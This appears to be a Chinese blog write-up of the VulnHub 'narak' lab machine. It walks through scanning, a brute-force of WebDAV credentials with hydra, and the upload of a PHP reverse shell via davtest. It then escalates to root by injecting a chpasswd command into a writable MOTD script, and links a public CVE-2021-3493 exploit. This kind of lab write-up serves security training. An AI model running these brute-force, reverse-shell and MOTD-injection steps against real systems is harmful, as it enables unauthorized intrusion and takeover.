当前位置: 首页 > news >正文

打靶记录18——narak

靶机:

https://download.vulnhub.com/ha/narak.ova

推荐使用 VM Ware 打开靶机

难度:中

目标:取得 root 权限 + 2 Flag

攻击方法:

  • 主机发现
  • 端口扫描
  • 信息收集
  • 密码字典定制
  • 爆破密码
  • Webdav 漏洞
  • PUT 方法上传
  • BF 语言解码
  • MOTD 注入
  • CVE-2021-3493 提权

主机发现

arp-scan -l

尝试发现是192.168.31.26

端口扫描和服务发现

nmap -p- 192.168.31.26

nmap -p22,80 -sV -sC 192.168.31.26

发现开启了 Apache 的服务,然后可能是 Ubuntu 系统

按照惯例查看 80 端口的 Web 页面,发现是一个恐怖的地狱的图片,地狱的大门由一个有着三个头的大狗来看守着

目录扫描

dirsearch -u http://192.168.31.26/

发现了 Webdav 路径

  • Webdav 是一种 Web 技术,可以实现类似于 FTP 那样的传输文件的功能
  • 401状态码表示“未授权”(Unauthorized)。这通常意味着请求需要用户进行身份验证

访问 Webdav 路径发现果然需要认证

dirsearch -u http://192.168.31.26/ -f -e html,txt,php -w /usr/share/wordlists/dirb/common.txt 再扫描一下

  • dirsearch:调用 dirsearch 工具。
  • -u http://192.168.31.26/:指定目标 URL,也就是扫描的目标网站。
  • -f:强制显示所有扫描结果,包括状态码为 404(未找到)的结果。
  • -e html,txt,php:指定要扫描的文件扩展名列表,分别为 .html, .txt, 和 .php
  • -w /usr/share/wordlists/dirb/common.txt:指定字典文件路径,即使用 common.txt 作为词列表来进行扫描。这个文件通常包含常见的目录和文件名。

发现了一个 /tips.txt 文件

要打开地狱的大门就查看这个文件 creds.txt,但是访问了没有,应该是一个误导

暴力破解

  • 密码字典定制
  • cewl 是一个用于从指定 URL 提取单词列表的工具,通常用于创建字典文件以供密码破解等任务使用。

cewl http://192.168.31.26/ -w dict.txt

hydra -L dict.txt -P dict.txt 192.168.31.26 http-get /webdav -v 成功获得一个账号密码 yamdoot Swarg

通过 webdav 的请求方式,通过 PUT 方法,通过 webdav 的服务,可以将本地的 Webshell 上传上去

davtest -url http://192.168.31.26/webdav/ -auth yamdoot:Swarg

  • davtest 是一个用于测试 WebDAV 服务上文件上传和执行漏洞的工具。
  • 执行这个命令后,davtest 将会尝试连接到指定的 WebDAV 服务地址,并使用提供的认证信息进行登录。接着它会尝试上传各种类型的文件,并检查这些文件是否可以成功上传和执行,以评估 WebDAV 服务的安全性。

测试上传了很多文件在路径下都 SUCCEED 成功了

PHP 可以成功解析,说明目标服务器是 PHP 的环境

反弹Shell

直接在 kali 里面用自带的 Webshell上传上去

cp /usr/share/webshells/php/php-reverse-shell.php .

代码里修改,改成 kali 本机的IP

davtest -url http://192.168.1.5/webdav/ -auth yamdoot:Swarg -uploadfile php-reverse-shell.php -uploadloc rev2.php 上传成功(我网络环境改变,所以重新上传了 rev2.php)

刷新一下 webdav 路径就看见 rev.php 了

nc -lvnp 1234 反弹shell

bash -i 或者 python3 -c "import pty;pty.spawn('/bin/bash')" 升级一下 shell

提权

find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null这个命令用来查找根目录及其子目录中所有属于root用户的文件,这些文件具有如下权限:用户和组可以执行,其他用户可以写入。

  1. find /: 这个命令表示在根目录(/)下进行查找。
  2. -type f: 这个选项表示只查找文件,不包括目录或其他类型的文件系统对象。
  3. -user root: 这个选项表示只查找属于root用户的文件。
  4. -perm -ug=x,o=w: 这个选项表示查找文件权限中,用户组(u)和群组(g)具有执行权限(x),而其他用户(o)具有写权限(w)的文件。
  5. -exec ls -l '{}' \;: 这个选项表示对每个符合条件的文件执行ls -l命令,以长格式列出文件的详细信息。'{}'是占位符,表示当前找到的文件名。
  6. 2>/dev/null: 这个部分将标准错误输出重定向到/dev/null,以便忽略错误消息。

cat /mnt/hell.sh 然后发现这是一串 Brainfuck 编码

使用在线网址 https://www.splitbrain.org/services/ook 解码,获得 chitragupt 字符串

猜测它是一个密码,尝试登录 inferno 账户成功

收获第一个 flag

方法一:CVE-2021-3493

漏洞利用代码: https://github.com/inspiringz/CVE-2021-3493/tree/master

gcc exp.c -o exp 编译好之后上传到目标服务器的主目录

scp exp inferno@192.168.1.5:~/

  • : 符号将用户名和远程主机地址与目标路径分隔开。
  • ~/ 是目标路径,表示远程主机上用户 inferno 的主目录。~ 是 Unix/Linux 系统中表示用户主目录的快捷方式。

我的 kali 版本太高了,GCC的版本也是

这个错误信息表明你尝试执行的二进制文件 ./exp 依赖于 libc.so.6 库的一个更高版本(GLIBC_2.34),而当前系统上的 libc.so.6 版本较低,无法满足这个依赖。

那我直接把编译好的传过去算了

方法二:MOTD 注入

  • motd 是 message of the day 的缩写

重新运行 find / -type f -user root -perm -ug=x,o=w -exec ls -l ‘{}’ ; 2>/dev/null 看看,发现其他的都是在 /etc/update-motd.d/ 目录下的,都是一些脚本

vi /etc/update-motd.d/00-header

添加 echo ‘root:123’ | chpasswd 修改 root 账号的密码

重新登录的时候,那个脚本(/etc/update-motd.d/00-header)会以root账号的权限来执行

打靶完毕!

相关文章:

  • 基于冲突动态监测算法的健身房预约管理系统
  • k8s 部署ETCD ,并且使用.net core 连接获取配置
  • linux-CMake
  • MySQL进阶:深入理解数据约束与优化查询
  • Linux增加一个回收站功能(实用功能)
  • 算法复杂度之时间复杂度
  • PMA TB40-1 限温器Temperature limiter TB 40-1 手测
  • SpringBoot整合JPA实现CRUD详解
  • 【珠海一号卫星】
  • 鼎阳加油-IOC关键技术问题的解决记
  • 柯桥韩语学校|韩语每日一词打卡:회갑연[회가변]【名词】花甲宴
  • 怎么通过AI大模型开发一个网站?
  • 计算机网络回顾
  • 【WRF运行第三期】服务器上运行WRF模型(官网案例-Hurricane Matthew)
  • 科技云报到:以数据“价值三角”为擎,探索数据治理实践路径
  • 【Leetcode】101. 对称二叉树
  • angular2 简述
  • ES2017异步函数现已正式可用
  • JavaScript创建对象的四种方式
  • java中的hashCode
  • mysql中InnoDB引擎中页的概念
  • niucms就是以城市为分割单位,在上面 小区/乡村/同城论坛+58+团购
  • TypeScript迭代器
  • Vue源码解析(二)Vue的双向绑定讲解及实现
  • 持续集成与持续部署宝典Part 2:创建持续集成流水线
  • 前嗅ForeSpider采集配置界面介绍
  • 因为阿里,他们成了“杭漂”
  • 远离DoS攻击 Windows Server 2016发布DNS政策
  • 直播平台建设千万不要忘记流媒体服务器的存在 ...
  • #经典论文 异质山坡的物理模型 2 有效导水率
  • (1)(1.13) SiK无线电高级配置(六)
  • (3)(3.2) MAVLink2数据包签名(安全)
  • (7)svelte 教程: Props(属性)
  • (编程语言界的丐帮 C#).NET MD5 HASH 哈希 加密 与JAVA 互通
  • (二十九)STL map容器(映射)与STL pair容器(值对)
  • (附源码)spring boot球鞋文化交流论坛 毕业设计 141436
  • (简单有案例)前端实现主题切换、动态换肤的两种简单方式
  • (六)什么是Vite——热更新时vite、webpack做了什么
  • (七)c52学习之旅-中断
  • (七)MySQL是如何将LRU链表的使用性能优化到极致的?
  • (三)mysql_MYSQL(三)
  • (四十一)大数据实战——spark的yarn模式生产环境部署
  • (一)、软硬件全开源智能手表,与手机互联,标配多表盘,功能丰富(ZSWatch-Zephyr)
  • .mp4格式的视频为何不能通过video标签在chrome浏览器中播放?
  • .NET 6 Mysql Canal (CDC 增量同步,捕获变更数据) 案例版
  • .net 流——流的类型体系简单介绍
  • .NET 使用 ILMerge 合并多个程序集,避免引入额外的依赖
  • .net2005怎么读string形的xml,不是xml文件。
  • .net8.0与halcon编程环境构建
  • @CacheInvalidate(name = “xxx“, key = “#results.![a+b]“,multi = true)是什么意思
  • @RequestMapping-占位符映射
  • [ C++ ] STL_list 使用及其模拟实现
  • [ajaxupload] - 上传文件同时附件参数值
  • [AX]AX2012 AIF(四):文档服务应用实例
  • [BUAA软工]第一次博客作业---阅读《构建之法》